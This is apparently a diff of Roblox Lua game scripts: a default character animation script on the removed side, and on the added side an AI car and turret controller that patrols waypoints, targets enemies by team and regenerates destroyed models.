302+
local patrolling = script.Parent.Parent.Patroling
303-
	},
303+
function move(target, engine)
304-
	cheer = {
304+
	local origincframe = engine:findFirstChild("BodyGyro").cframe
305-
		{ id = "http://www.roblox.com/asset/?id=129423030", weight = 10 } 
305+
	local dir = (target - engine.Position).unit
306-
	},
306+
	local spawnPos = engine.Position
307-
}
307+
	local pos = spawnPos + dir
308
309-
-- Existance in this list signifies that it is an emote, the value indicates If it is a looping emote
309+
	engine:findFirstChild("BodyGyro").maxTorque = Vector3.new(0,90, 0)
310-
local emoteNames = { wave = false, point = false, dance = true, laugh = false, cheer = false}
310+
	engine:findFirstChild("BodyGyro").cframe = CFrame.new(pos, pos+dir)
311-
	
311+
312-
math.randomseed(tick())
312+
313-
	
313+
function findNearestTorso(pos)
314-
-- Setup animation objects
314+
	local list = game.Workspace:children()
315-
for name, fileList in pairs(animNames) do 
315+
	local torso = nil
316-
	animTable[name] = {}
316+
	local dist = SightRadius.Value
317-
	animTable[name].count = 0
317+
	local temp = nil
318-
	animTable[name].totalWeight = 0
318+
	local human = nil
319
	local temp2 = nil
320-
	-- check for config values
320+
	for x = 1, #list do
321-
	local config = script:FindFirstChild(name)
321+
		temp2 = list[x]
322-
	if (config ~= nil) then
322+
		if (temp2.className == "Model") and (temp2 ~= script.Parent.Parent) then
323-
		--		print("Loading anims " .. name)
323+
			temp = temp2:findFirstChild("Torso")
324-
		local idx = 1
324+
			human = temp2:findFirstChild("Zombie") or temp2:findFirstChild("Humanoid")
325-
		for _, childPart in pairs(config:GetChildren()) do
325+
			local player = game.Players:GetPlayerFromCharacter(temp2)
326-
			animTable[name][idx] = {}
326+
			local Ai  = temp2:findFirstChild("Brain") or temp2:findFirstChild("Parts")
327-
			animTable[name][idx].anim = childPart
327+
			if(Ai ~= nil) then -- for my turrets and cars etc....
328-
			local weightObject = childPart:FindFirstChild("Weight")
328+
				local LP = Ai:findFirstChild("TurretEngine") -- For our Turrets
329-
			if (weightObject == nil) then
329+
				local EN = Ai:findFirstChild("Engine")          -- for our Ai Cars etc...
330-
				animTable[name][idx].weight = 1
330+
				local MyAiCar = script.Parent.Parent.Parent.Parent
331
				local TeamColor = Ai.Parent:findFirstChild("TeamColor")
332-
				animTable[name][idx].weight = weightObject.Value
332+
				local TeamGame = Ai.Parent:findFirstChild("TeamGame")
333
				if(LP ~= nil) then
334-
			animTable[name].count = animTable[name].count + 1
334+
					if(TeamColor ~= nil and TeamGame ~= nil) then
335-
			animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
335+
						if(TeamGame.Value == true) then
336-
			--			print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
336+
							if(TeamColor.Value ~= MyTeamColor.Value) then
337-
			idx = idx + 1
337+
								if (LP.Position - pos).magnitude < dist then
338
									torso = LP
339
									dist = (LP.Position - pos).magnitude
340
								end
341-
	-- fallback to defaults
341+
							end
342-
	if (animTable[name].count <= 0) then
342+
						else
343-
		for idx, anim in pairs(fileList) do
343+
							if (LP.Position - pos).magnitude < dist then
344-
			animTable[name][idx] = {}
344+
								torso = LP
345-
			animTable[name][idx].anim = Instance.new("Animation")
345+
								dist = (LP.Position - pos).magnitude
346-
			animTable[name][idx].anim.Name = name
346+
							end
347-
			animTable[name][idx].anim.AnimationId = anim.id
347+
						end
348-
			animTable[name][idx].weight = anim.weight
348+
349-
			animTable[name].count = animTable[name].count + 1
349+
350-
			animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
350+
				if(EN ~= nil) then
351-
			--			print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
351+
					if(TeamColor ~= nil and TeamGame ~= nil) then
352
						if(TeamGame.Value == true) then
353
							if(TeamColor.Value ~= MyTeamColor.Value) then
354
								if (EN.Position - pos).magnitude < dist then
355-
	
355+
									torso =EN
356-
-- ANIMATION
356+
									dist = (EN.Position - pos).magnitude
357-
	
357+
								end
358-
-- declarations
358+
							end
359-
local toolAnim = "None"
359+
						end
360-
local toolAnimTime = 0
360+
					else
361-
	
361+
						if(TeamColor ~= nil and TeamGame ~= nil) then
362-
local jumpAnimTime = 0
362+
							if(TeamGame.Value == true) then
363-
local jumpAnimDuration = 0.175
363+
								if(TeamColor.Value ~= MyTeamColor.Value) then
364-
	
364+
									if (EN.Position - pos).magnitude < dist then
365-
local toolTransitionTime = 0.1
365+
										torso =EN
366-
local fallTransitionTime = 0.2
366+
										dist = (EN.Position - pos).magnitude
367-
local jumpMaxLimbVelocity = 0.75
367+
									end
368-
	
368+
								end
369-
-- functions
369+
							else
370-
	
370+
								if (EN.Position - pos).magnitude < dist then
371-
function stopAllAnimations()
371+
									torso = EN
372-
	local oldAnim = currentAnim
372+
									dist = (EN.Position - pos).magnitude
373
								end
374-
	-- return to idle If finishing an emote
374+
							end
375-
	if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
375+
						end
376-
		oldAnim = "idle"
376+
377
				end
378
			end
379-
	currentAnim = ""
379+
			if(human ~= nil or temp ~= nil) then -- just for humanoids and zombies 
380-
	if (currentAnimKeyframeHandler ~= nil) then
380+
				if(ZombieTarget.Value == true and HumanoidTarget.Value == false) then
381-
		currentAnimKeyframeHandler:disconnect()
381+
					if(human.Name ~= "Zombie") then
382
						human = nil
383
						temp = nil
384-
	if (oldAnimTrack ~= nil) then
384+
385-
		oldAnimTrack:Stop()
385+
386-
		oldAnimTrack:Destroy()
386+
				if(HumanoidTarget.Value == true and ZombieTarget.Value == false)then
387-
		oldAnimTrack = nil
387+
					if(human.Name ~= "Humanoid") then
388
						human = nil
389-
	if (currentAnimTrack ~= nil) then
389+
						temp = nil
390-
		currentAnimTrack:Stop()
390+
					else
391-
		currentAnimTrack:Destroy()
391+
						if(player ~= nil) then
392-
		currentAnimTrack = nil
392+
							if(isTeamGame.Value == true) then
393
								if(player.TeamColor == MyTeamColor.Value) then
394-
	return oldAnim
394+
									human = nil
395
									temp = nil
396-
	
396+
								end
397-
function keyFrameReachedFunc(frameName)
397+
							end
398-
	if (frameName == "End") then
398+
						end
399-
		--		print("Keyframe : ".. frameName)
399+
400-
		local repeatAnim = stopAllAnimations()
400+
401-
		playAnimation(repeatAnim, 0.0, Humanoid)
401+
				if(HumanoidTarget.Value == true and ZombieTarget.Value == true)then
402
					if(player ~= nil) then
403
						if(isTeamGame.Value == true) then
404-
	
404+
							if(player.TeamColor == MyTeamColor.Value) then
405-
-- Preload animations
405+
								human = nil
406-
function playAnimation(animName, transitionTime, humanoid)
406+
								temp = nil
407-
	if (animName ~= currentAnim) then		 
407+
							end
408
						end
409-
		if (oldAnimTrack ~= nil) then
409+
410-
			oldAnimTrack:Stop()
410+
411-
			oldAnimTrack:Destroy()
411+
				if(HumanoidTarget.Value == false and ZombieTarget.Value == false)then
412
					temp = nil
413
					human = nil
414-
		local roll = math.random(1, animTable[animName].totalWeight) 
414+
415-
		local origRoll = roll
415+
416-
		local idx = 1
416+
			if (temp ~= nil and human ~= nil) then
417-
		while (roll > animTable[animName][idx].weight) do
417+
				if (temp.Position - pos).magnitude < dist  and human.Health > 0 then
418-
			roll = roll - animTable[animName][idx].weight
418+
					torso = temp
419-
			idx = idx + 1
419+
					dist = (temp.Position - pos).magnitude
420
				end
421-
		--		print(animName .. " " .. idx .. " [" .. origRoll .. "]")
421+
422-
		local anim = animTable[animName][idx].anim
422+
423
	end
424-
		-- load it to the humanoid; get AnimationTrack
424+
	return torso
425-
		oldAnimTrack = currentAnimTrack
425+
426-
		currentAnimTrack = humanoid:LoadAnimation(anim)
426+
function patrol()
427-
		 
427+
	local myPathName = script.Parent.Parent.Parent.MyPathName.Value
428-
		-- play the animation
428+
	local Wheels = script.Parent.Parent.Wheels
429-
		currentAnimTrack:Play(transitionTime)
429+
	local FRWheel = Wheels.FRWheel
430-
		currentAnim = animName
430+
	local FLWheel = Wheels.FLWheel
431
	local RLWheel = Wheels.RLWheel
432-
		-- set up keyframe name triggers
432+
	local RRWheel = Wheels.RRWheel
433-
		if (currentAnimKeyframeHandler ~= nil) then
433+
	if(myPathName == nil) then return end
434-
			currentAnimKeyframeHandler:disconnect()
434+
	local MyPatrol = game.Workspace:findFirstChild(myPathName)
435
	if(MyPatrol == nil) then return end
436-
		currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
436+
	if points==nil then
437
		points=0
438
		nextPoint = script.Parent.Parent.PatrolPoint
439-
	
439+
		nextPoint.Value = 1
440-
-------------------------------------------------------------------------------------------
440+
		PP = {}
441-
-------------------------------------------------------------------------------------------
441+
		Pnum = MyPatrol:children()
442-
	
442+
		for i = 1, #Pnum do
443-
local toolAnimName = ""
443+
			if MyPatrol:findFirstChild("VPP"..i)~=nil then
444-
local toolOldAnimTrack = nil
444+
				PP[i] =MyPatrol:findFirstChild("VPP"..i)
445-
local toolAnimTrack = nil
445+
				points=points+1
446-
local currentToolAnimKeyframeHandler = nil
446+
447-
	
447+
448-
function toolKeyFrameReachedFunc(frameName)
448+
449-
	if (frameName == "End") then
449+
	if points<1 then return end
450-
		--		print("Keyframe : ".. frameName)
450+
	patrolling.Value=true
451-
		local repeatAnim = stopToolAnimations()
451+
	local time=math.random(3,5) -- wait time
452-
		playToolAnimation(repeatAnim, 0.0, Humanoid)
452+
	if points==1 then return end
453
	if points>1 then
454
		script.Parent.BodyGyro.P = 4000
455-
	
455+
		script.Parent.BodyGyro.D = 200
456-
	
456+
		FRWheel.RightParamB = -1
457-
function playToolAnimation(animName, transitionTime, humanoid)
457+
		FLWheel.RightParamB = 1
458-
	if (animName ~= toolAnimName) then		 
458+
		RLWheel.RightParamB = 1
459
		RRWheel.RightParamB = -1
460-
		if (toolAnimTrack ~= nil) then
460+
		move(PP[nextPoint.Value].Position,script.Parent)
461-
			toolAnimTrack:Stop()
461+
		while patrolling.Value==true do
462-
			toolAnimTrack:Destroy()
462+
			local target = findNearestTorso(script.Parent.Position)
463-
			transitionTime = 0
463+
			if target ~= nil then
464
				patrolling.Value = false
465
			end
466-
		local roll = math.random(1, animTable[animName].totalWeight) 
466+
			T = script.Parent
467-
		local origRoll = roll
467+
			if(T ~= nil) then
468-
		local idx = 1
468+
				dis = (T.Position - PP[nextPoint.Value].Position).magnitude
469-
		while (roll > animTable[animName][idx].weight) do
469+
				move(PP[nextPoint.Value].Position,script.Parent)
470-
			roll = roll - animTable[animName][idx].weight
470+
				if(dis < 50) then
471-
			idx = idx + 1
471+
					if(nextPoint.Value < #PP) then
472
						nextPoint.Value=nextPoint.Value+1
473-
		--		print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
473+
					else
474-
		local anim = animTable[animName][idx].anim
474+
						nextPoint.Value = 1
475
					end
476-
		-- load it to the humanoid; get AnimationTrack
476+
					--wait(time)
477-
		toolOldAnimTrack = toolAnimTrack
477+
478-
		toolAnimTrack = humanoid:LoadAnimation(anim)
478+
479-
		 
479+
480-
		-- play the animation
480+
481-
		toolAnimTrack:Play(transitionTime)
481+
482-
		toolAnimName = animName
482+
483
script.Parent.BodyGyro.cframe = script.Parent.CFrame
484-
		currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
484+
wait(1)
485
while true do
486
	local Wheels = script.Parent.Parent.Wheels
487-
	
487+
	local FRWheel = Wheels.FRWheel
488-
function stopToolAnimations()
488+
	local FLWheel = Wheels.FLWheel
489-
	local oldAnim = toolAnimName
489+
	local RLWheel = Wheels.RLWheel
490
	local RRWheel = Wheels.RRWheel
491-
	if (currentToolAnimKeyframeHandler ~= nil) then
491+
	local BSensor = script.Parent.Parent.BSensor
492-
		currentToolAnimKeyframeHandler:disconnect()
492+
	target = findNearestTorso(script.Parent.Position)
493
	if(target ~= nil) then
494
		MyStatus.Value = "Tracking Enemy"
495-
	toolAnimName = ""
495+
		patrolling.Value = false
496-
	if (toolAnimTrack ~= nil) then
496+
		if((target.Position - script.Parent.Position).magnitude > 80) then
497-
		toolAnimTrack:Stop()
497+
			script.Parent.BodyGyro.cframe = script.Parent.CFrame
498-
		toolAnimTrack:Destroy()
498+
			script.Parent.BodyGyro.P = 4000
499-
		toolAnimTrack = nil
499+
			script.Parent.BodyGyro.D = 200
500
			move(target.Position,script.Parent)
501
			FRWheel.RightParamB = -1
502
			FLWheel.RightParamB = 1
503-
	return oldAnim
503+
			RLWheel.RightParamB = 1
504
			RRWheel.RightParamB = -1
505-
	
505+
506-
-------------------------------------------------------------------------------------------
506+
			if(((target.Position - script.Parent.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude < (target.Position - BSensor.Position).magnitude) then
507-
-------------------------------------------------------------------------------------------
507+
				script.Parent.BodyGyro.cframe = script.Parent.CFrame
508-
	
508+
				script.Parent.BodyGyro.P = 4000
509-
	
509+
				script.Parent.BodyGyro.D = 200
510-
function onRunning(speed)
510+
				move(target.Position,script.Parent)
511-
	if speed>0 then
511+
				FRWheel.RightParamB = 1
512-
		playAnimation("walk", 0.1, Humanoid)
512+
				FLWheel.RightParamB = -1
513-
		pose = "Running"
513+
				RLWheel.RightParamB = -1
514
				RRWheel.RightParamB = 1
515-
		playAnimation("idle", 0.1, Humanoid)
515+
			elseif(((target.Position - BSensor.Position).magnitude < 60) and (target.Position - script.Parent.Position).magnitude > (target.Position - BSensor.Position).magnitude) then
516-
		pose = "Standing"
516+
				script.Parent.BodyGyro.cframe = script.Parent.CFrame
517
				script.Parent.BodyGyro.P = 4000
518
				script.Parent.BodyGyro.D = 200
519-
	
519+
				move(target.Position,script.Parent)
520-
function onDied()
520+
				FRWheel.RightParamB = -1
521-
	pose = "Dead"
521+
				FLWheel.RightParamB = 1
522
				RLWheel.RightParamB = 1
523-
	
523+
				RRWheel.RightParamB = -1
524-
function onJumping()
524+
			elseif(((target.Position - script.Parent.Position).magnitude > 60) and (target.Position - script.Parent.Position).magnitude >60) then
525-
	playAnimation("jump", 0.1, Humanoid)
525+
				FRWheel.RightParamB = 0
526-
	jumpAnimTime = jumpAnimDuration
526+
				FLWheel.RightParamB = 0
527-
	pose = "Jumping"
527+
				RLWheel.RightParamB = 0
528
				RRWheel.RightParamB = 0
529-
	
529+
530-
function onClimbing()
530+
531-
	playAnimation("climb", 0.1, Humanoid)
531+
532-
	pose = "Climbing"
532+
		local myPathName = script.Parent.Parent.Parent.MyPathName.Value
533
		if(myPathName ~= nil) then
534-
	
534+
			local PathGroup = game.Workspace:findFirstChild(myPathName)
535-
function onGettingUp()
535+
			if(PathGroup ~= nil) then
536-
	pose = "GettingUp"
536+
				local check = PathGroup:children()
537
				if(#check >1) then
538-
	
538+
					MyStatus.Value = "Patroling"
539-
function onFreeFall()
539+
					patrolling.Value = true
540-
	if (jumpAnimTime <= 0) then
540+
					patrol()
541-
		playAnimation("fall", fallTransitionTime, Humanoid)
541+
				else
542
					MyStatus.Value = "None"
543-
	pose = "FreeFall"
543+
					patrolling.Value = false
544
				end	
545-
	
545+
546-
function onFallingDown()
546+
547-
	pose = "FallingDown"
547+
			patrolling.Value = false
548
		end
549-
	
549+
		if(patrolling.Value == false) then
550-
function onSeated()
550+
			MyStatus.Value = "Guarding"
551-
	pose = "Seated"
551+
			FRWheel.RightParamB = 0
552
			FLWheel.RightParamB = 0
553-
	
553+
			RLWheel.RightParamB = 0
554-
function onPlatformStanding()
554+
			RRWheel.RightParamB = 0
555-
	pose = "PlatformStanding"
555+
556
	end
557-
	
557+
	wait(0)
558-
function onSwimming(speed)
558+
559-
	if speed>0 then
559+
560-
		pose = "Running"
560+
561
StringValue11.Name = "MyStatus"
562-
		pose = "Standing"
562+
StringValue11.Parent = Model1
563
Script12.Name = "Turret+ColorUpdater"
564
Script12.Parent = Model1
565-
	
565+
table.insert(cors,sandbox(Script12,function()
566-
function getTool()	
566+
local ZombieTarget = script.Parent.Parent["Target Zombies"]
567-
	for _, kid in ipairs(Figure:GetChildren()) do
567+
local HumanoidTarget = script.Parent.Parent["Target Humanoids"]
568-
		if kid.className == "Tool" then return kid end
568+
local isTeamGame = script.Parent.Parent.TeamGame
569
local MyTeamColor = script.Parent.Parent.TeamColor
570-
	return nil
570+
local SightRadius = script.Parent.Parent.ScanRange
571
local Base = script.Parent.Parent
572-
	
572+
local StatusBrick = script.Parent["Status"]
573-
function getToolAnim(tool)
573+
function getOwnTurrets(base)
574-
	for _, c in ipairs(tool:GetChildren()) do
574+
	local bits = base:children()
575-
		if c.Name == "toolanim" and c.className == "StringValue" then
575+
	local Turrets = {}
576-
			return c
576+
	local Tnum = 1
577
	for i=1,#bits do
578
		local tmp = bits[i]
579-
	return nil
579+
		local TurretBrain = tmp:findFirstChild("Brain")
580
		if(TurretBrain ~= nil) then
581-
	
581+
			Turrets[Tnum] = TurretBrain.Parent
582-
function animateTool()
582+
			Tnum = Tnum +1
583
		end
584-
	if (toolAnim == "None") then
584+
585-
		playToolAnimation("toolnone", toolTransitionTime, Humanoid)
585+
	if(#Turrets > 0) then
586-
		return
586+
		return Turrets
587
	else
588
		return nil
589-
	if (toolAnim == "Slash") then
589+
590-
		playToolAnimation("toolslash", 0, Humanoid)
590+
591-
		return
591+
592
function updateTurrets()
593
	local MyTurrets = getOwnTurrets(Base)
594-
	if (toolAnim == "Lunge") then
594+
	if(MyTurrets ~= nil) then -- Update our Turrets
595-
		playToolAnimation("toollunge", 0, Humanoid)
595+
		for i=1, #MyTurrets do
596-
		return
596+
			local TZombieTarget = MyTurrets[i]["Target Zombies"]
597
			local THumanoidTarget = MyTurrets[i]["Target Humanoids"]
598
			local TisTeamGame = MyTurrets[i].TeamGame
599-
	
599+
			local TMyTeamColor = MyTurrets[i].TeamColor 
600-
function moveSit()
600+
			local TSightRadius = MyTurrets[i].ScanRange
601-
	RightHip:SetDesiredAngle(3.14 /2)
601+
			TZombieTarget.Value = ZombieTarget.Value
602-
	LeftHip:SetDesiredAngle(-3.14 /2)
602+
			THumanoidTarget.Value = HumanoidTarget.Value
603
			TisTeamGame.Value = isTeamGame.Value
604-
	
604+
			TMyTeamColor.Value = MyTeamColor.Value
605-
local lastTick = 0
605+
			if(SightRadius.Value > 100) then
606-
	
606+
				TSightRadius.Value =  SightRadius.Value - 100
607-
function move(time)
607+
608-
	local amplitude = 1
608+
				TSightRadius.Value =  SightRadius.Value
609-
	local frequency = 1
609+
610-
	local deltaTime = time - lastTick
610+
611-
	lastTick = time
611+
612
setTeam()
613-
	local climbFudge = 0
613+
614-
	local setAngles = false
614+
function retriveParts(model,myColor) 
615
	local raw_model = model:GetChildren()
616-
	if (jumpAnimTime > 0) then
616+
        for i=1,#raw_model do
617-
		jumpAnimTime = jumpAnimTime - deltaTime
617+
	   local part = raw_model[i]
618
           if(part ~= nil and part.className == "Part") then
619
		part.BrickColor = myColor
620-
	if (pose == "FreeFall" and jumpAnimTime <= 0) then
620+
           end
621-
		playAnimation("fall", fallTransitionTime, Humanoid)
621+
        end
622-
	elseif (pose == "Seated") then
622+
623-
		stopAllAnimations()
623+
function setTeam()
624-
		moveSit()
624+
	local isTeamGame = script.Parent.Parent.TeamGame.Value
625-
		return
625+
	local BSensor = script.Parent:findFirstChild("BSensor")
626-
	elseif (pose == "Running") then
626+
	local Engine = script.Parent:findFirstChild("Engine")
627-
		playAnimation("walk", 0.1, Humanoid)
627+
	local SHead = nil
628-
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
628+
	if(StatusBrick ~= nil) then
629-
		--		print("Wha " .. pose)
629+
		SHead = StatusBrick:findFirstChild("Head")
630-
		amplitude = 0.1
630+
631-
		frequency = 1
631+
	if(isTeamGame == true) then
632-
		setAngles = true
632+
		retriveParts(script.Parent.Parent.BodyWork.TeamColors,script.Parent.Parent.TeamColor.Value)
633
		if(SHead ~= nil) then
634
			SHead.BrickColor = script.Parent.Parent.TeamColor.Value
635-
	if (setAngles) then
635+
636-
		desiredAngle = amplitude * math.sin(time * frequency)
636+
		if(BSensor ~= nil) then
637
			BSensor.BrickColor = script.Parent.Parent.TeamColor.Value
638-
		RightHip:SetDesiredAngle(-desiredAngle)
638+
639-
		LeftHip:SetDesiredAngle(-desiredAngle)
639+
		if(Engine ~= nil) then
640
			Engine.BrickColor = script.Parent.Parent.TeamColor.Value
641
		end
642-
	-- Tool Animation handling
642+
643-
	local tool = getTool()
643+
		retriveParts(script.Parent.Parent.BodyWork.TeamColors,BrickColor.new("Dark stone grey"))
644-
	if tool then
644+
		if(SHead ~= nil) then
645
			SHead.BrickColor = BrickColor.new("Dark stone grey")
646-
		animStringValueObject = getToolAnim(tool)
646+
647
		if(BSensor ~= nil) then
648-
		if animStringValueObject then
648+
			BSensor.BrickColor = BrickColor.new("Dark stone grey")
649-
			toolAnim = animStringValueObject.Value
649+
650-
			-- message recieved, delete StringValue
650+
		if(Engine ~= nil) then
651-
			animStringValueObject.Parent = nil
651+
			Engine.BrickColor = BrickColor.new("Dark stone grey")
652-
			toolAnimTime = time + .3
652+
653
	end
654
end
655-
		if time > toolAnimTime then
655+
updateTurrets()
656-
			toolAnimTime = 0
656+
ZombieTarget.Changed:connect(updateTurrets)
657-
			toolAnim = "None"
657+
HumanoidTarget.Changed:connect(updateTurrets)
658
isTeamGame.Changed:connect(updateTurrets)
659
MyTeamColor.Changed:connect(updateTurrets)
660-
		animateTool()		
660+
SightRadius.Changed:connect(updateTurrets)
661
end))
662-
		stopToolAnimations()
662+
Model13.Name = "Status : "
663-
		toolAnim = "None"
663+
Model13.Parent = Model1
664-
		toolAnimTime = 0
664+
Humanoid14.Parent = Model13
665
Humanoid14.Health = 0
666
Humanoid14.MaxHealth = 0
667-
	
667+
Script15.Parent = Model13
668-
-- connect events
668+
table.insert(cors,sandbox(Script15,function()
669-
Humanoid.Died:connect(onDied)
669+
local myStatus = script.Parent.Parent.MyStatus
670-
Humanoid.Running:connect(onRunning)
670+
671-
Humanoid.Jumping:connect(onJumping)
671+
672-
Humanoid.Climbing:connect(onClimbing)
672+
	local Patroling = script.Parent.Parent.Patroling
673-
Humanoid.GettingUp:connect(onGettingUp)
673+
	if(Patroling.Value == false) then
674-
Humanoid.FreeFalling:connect(onFreeFall)
674+
		script.Parent.Name = "Status : "..myStatus.Value
675-
Humanoid.FallingDown:connect(onFallingDown)
675+
676-
Humanoid.Seated:connect(onSeated)
676+
		script.Parent.Name ="Patroling to Waypoint "..script.Parent.Parent.PatrolPoint.Value
677-
Humanoid.PlatformStanding:connect(onPlatformStanding)
677+
678-
Humanoid.Swimming:connect(onSwimming)
678+
	wait(.1)
679-
-- main program
679+
680-
	
680+
681-
local runService = game:service("RunService");
681+
Part16.Name = "Head"
682-
	
682+
Part16.Parent = Model13
683-
-- initialize to idle
683+
Part16.BrickColor = BrickColor.new("White")
684-
playAnimation("idle", 0.1, Humanoid)
684+
Part16.Rotation = Vector3.new(0.269999981, 0.439999998, 0)
685-
pose = "Standing"
685+
Part16.RotVelocity = Vector3.new(-0.133414224, 0.0455367453, -0.024205666)
686-
	
686+
Part16.Velocity = Vector3.new(0.0491989553, 1.04357886, 14.4499683)
687-
while Figure.Parent~=nil do
687+
Part16.Size = Vector3.new(8, 1.20000005, 3)
688-
	local _, time = wait(0.1)
688+
Part16.CFrame = CFrame.new(-46.0087509, 5.89088535, 136.458984, 0.999963939, -6.74084877e-05, 0.00775468862, 0.000104216793, 0.999988735, -0.00475055212, -0.00775363203, 0.00475121522, 0.999950647)
689-
	move(time)
689+
Part16.Color = Color3.new(0.94902, 0.952941, 0.952941)
690
Part16.Position = Vector3.new(-46.0087509, 5.89088535, 136.458984)
691
Part16.Orientation = Vector3.new(0.269999981, 0.439999998, 0.00999999978)
692
Part16.Color = Color3.new(0.94902, 0.952941, 0.952941)
693-
StringValue22.Name = "climb"
693+
IntValue17.Name = "PatrolPoint"
694-
StringValue22.Parent = Script21
694+
IntValue17.Parent = Model1
695-
Animation23.Name = "ClimbAnim"
695+
BoolValue18.Name = "Patroling"
696-
Animation23.Parent = StringValue22
696+
BoolValue18.Parent = Model1
697-
Animation23.AnimationId = "http://www.roblox.com/asset/?id=125750800"
697+
Script19.Name = "REGENScript"
698-
StringValue24.Name = "fall"
698+
Script19.Parent = Model1
699-
StringValue24.Parent = Script21
699+
table.insert(cors,sandbox(Script19,function()
700-
Animation25.Name = "FallAnim"
700+
model = script.Parent.Parent
701-
Animation25.Parent = StringValue24
701+
backup = model:clone()
702-
Animation25.AnimationId = "http://www.roblox.com/asset/?id=125750759"
702+
active = false
703-
StringValue26.Name = "idle"
703+
704-
StringValue26.Parent = Script21
704+
function getOwnTurrets(base)
705-
Animation27.Name = "Animation1"
705+
	local bits = base:children()
706-
Animation27.Parent = StringValue26
706+
	local Turrets = {}
707-
Animation27.AnimationId = "http://www.roblox.com/asset/?id=125750544"
707+
	local Tnum = 1
708-
NumberValue28.Name = "Weight"
708+
	for i=1,#bits do
709-
NumberValue28.Parent = Animation27
709+
		local tmp = bits[i]
710-
NumberValue28.Value = 9
710+
		local TurretBrain = tmp:findFirstChild("Brain")
711-
Animation29.Name = "Animation2"
711+
		if(TurretBrain ~= nil) then
712-
Animation29.Parent = StringValue26
712+
			Turrets[Tnum] = TurretBrain.Parent
713-
Animation29.AnimationId = "http://www.roblox.com/asset/?id=125750618"
713+
			Tnum = Tnum +1
714-
NumberValue30.Name = "Weight"
714+
715-
NumberValue30.Parent = Animation29
715+
716-
NumberValue30.Value = 1
716+
	if(#Turrets > 0) then
717-
StringValue31.Name = "jump"
717+
		return Turrets
718-
StringValue31.Parent = Script21
718+
719-
Animation32.Name = "JumpAnim"
719+
720-
Animation32.Parent = StringValue31
720+
721-
Animation32.AnimationId = "http://www.roblox.com/asset/?id=125750702"
721+
722-
StringValue33.Name = "run"
722+
local MyTurrets = getOwnTurrets(model)
723-
StringValue33.Parent = Script21
723+
local NumTurrets = 0
724-
Animation34.Name = "RunAnim"
724+
local TDes = 0
725-
Animation34.Parent = StringValue33
725+
if(MyTurrets ~= nil) then -- disable the turrets regen script
726-
Animation34.AnimationId = "http://www.roblox.com/asset/?id=125749145"
726+
	NumTurrets = #MyTurrets
727-
StringValue35.Name = "toolnone"
727+
	for i=1,#MyTurrets do
728-
StringValue35.Parent = Script21
728+
		local TurretRegenScript = MyTurrets[i]:findFirstChild("RegenScript")
729-
Animation36.Name = "ToolNoneAnim"
729+
		if(TurretRegenScript ~= nil) then
730-
Animation36.Parent = StringValue35
730+
			TurretRegenScript.Disabled =  true
731-
Animation36.AnimationId = "http://www.roblox.com/asset/?id=125750867"
731+
		end		
732-
StringValue37.Name = "walk"
732+
733-
StringValue37.Parent = Script21
733+
734-
Animation38.Name = "WalkAnim"
734+
function Regen(part)
735-
Animation38.Parent = StringValue37
735+
	if(MyTurrets ~= nil) then
736-
Animation38.AnimationId = "http://www.roblox.com/asset/?id=125749145"
736+
		for i=1,#MyTurrets do
737-
Script39.Name = "Control"
737+
			if(MyTurrets[i]:findFirstChild("Brain") ~= nil) then
738-
Script39.Parent = Model0
738+
				local Check = MyTurrets[i].Brain.Destroyed.Value
739-
table.insert(cors,sandbox(Script39,function()
739+
				if(Check == true) then
740
					TDes=TDes+1
741-
local ammo=29
741+
					break
742-
local w=.14
742+
743-
local r=false
743+
744-
local t=script.Parent
744+
				TDes=TDes+1
745-
Spawn(function()
745+
				break		
746-
	local c=t:Clone()
746+
747-
	t.Humanoid.Died:wait()
747+
748-
	t.Handle:Destroy()
748+
749-
	script.Parent.Head.Die:Play()
749+
	if(NumTurrets == TDes or script.Parent:findFirstChild("Engine") == nil) then
750-
	
750+
		if(active == false) then
751-
	wait(3)
751+
			active = true
752-
	c.Parent=workspace
752+
			script.Parent:breakJoints()
753-
	c:MakeJoints()
753+
			if(script.Parent:findFirstChild("Brain") ~= nil) then
754-
	t:Destroy()
754+
				script.Parent.Brain.Destroyed.Value = true
755-
	
755+
756
			wait(1)
757-
local cf={CFrame.new(.8,.5,.4)*CFrame.Angles(math.rad(270),math.rad(40),0),CFrame.new(-1.2,0.5,0.4)*CFrame.Angles(math.rad(270),math.rad(-5),0)}
757+
			model:remove()
758-
local c=LoadLibrary'RbxUtility'.Create
758+
			model = backup:Clone()
759-
local b1=c'Part'{TopSurface=0;BottomSurface=0;Anchored=true;CanCollide=false;Material="Neon";Transparency=0.3;BrickColor=BrickColor.Yellow();Size=Vector3.new(.2,.2,1);c'BlockMesh'{Scale=Vector3.new(.2,.2,1)}}
759+
			wait(10)
760-
local b2=b1:Clone()
760+
			model.Parent = game.Workspace
761-
b1.Name,b2.Name='1','2'
761+
			model:MakeJoints()
762-
local mov=c'Part'{Transparency=1;CanCollide=false;Parent=t;Anchored=true}
762+
763-
local h=t:WaitForChild'Handle'
763+
764-
local function reload(boo)
764+
765-
	if(boo and ammo~=30)or ammo==0 then
765+
function retriveParts(model,myColor) 
766-
		r=true
766+
	local raw_model = model:GetChildren()
767-
		if w then
767+
        for i=1,#raw_model do
768-
			w=.03
768+
	   local part = raw_model[i]
769
           if(part ~= nil) then
770-
		h.Reload:Play()
770+
		part.BrickColor = myColor
771-
		wait(3)
771+
           end
772-
		ammo=30
772+
        end
773-
		if w then
773+
774-
			w=.14
774+
775
function setTeam(Turret)
776-
		r=false
776+
	local brain = Turret.Brain
777-
	elseif boo then
777+
	local isTeamGame = script.Parent.Parent.TeamGame.Value
778
	if(isTeamGame == true) then
779
		retriveParts(Turret.BodyKit.TeamColorBricks,script.Parent.Parent.TeamColor.Value)
780
		if(brain:findFirstChild("Point") ~= nil) then
781-
local function near()
781+
			brain.Point.BrickColor = script.Parent.Parent.TeamColor.Value
782-
	local dis,pl=200,nil
782+
783
		if(brain:findFirstChild("TurretEngine") ~= nil) then
784-
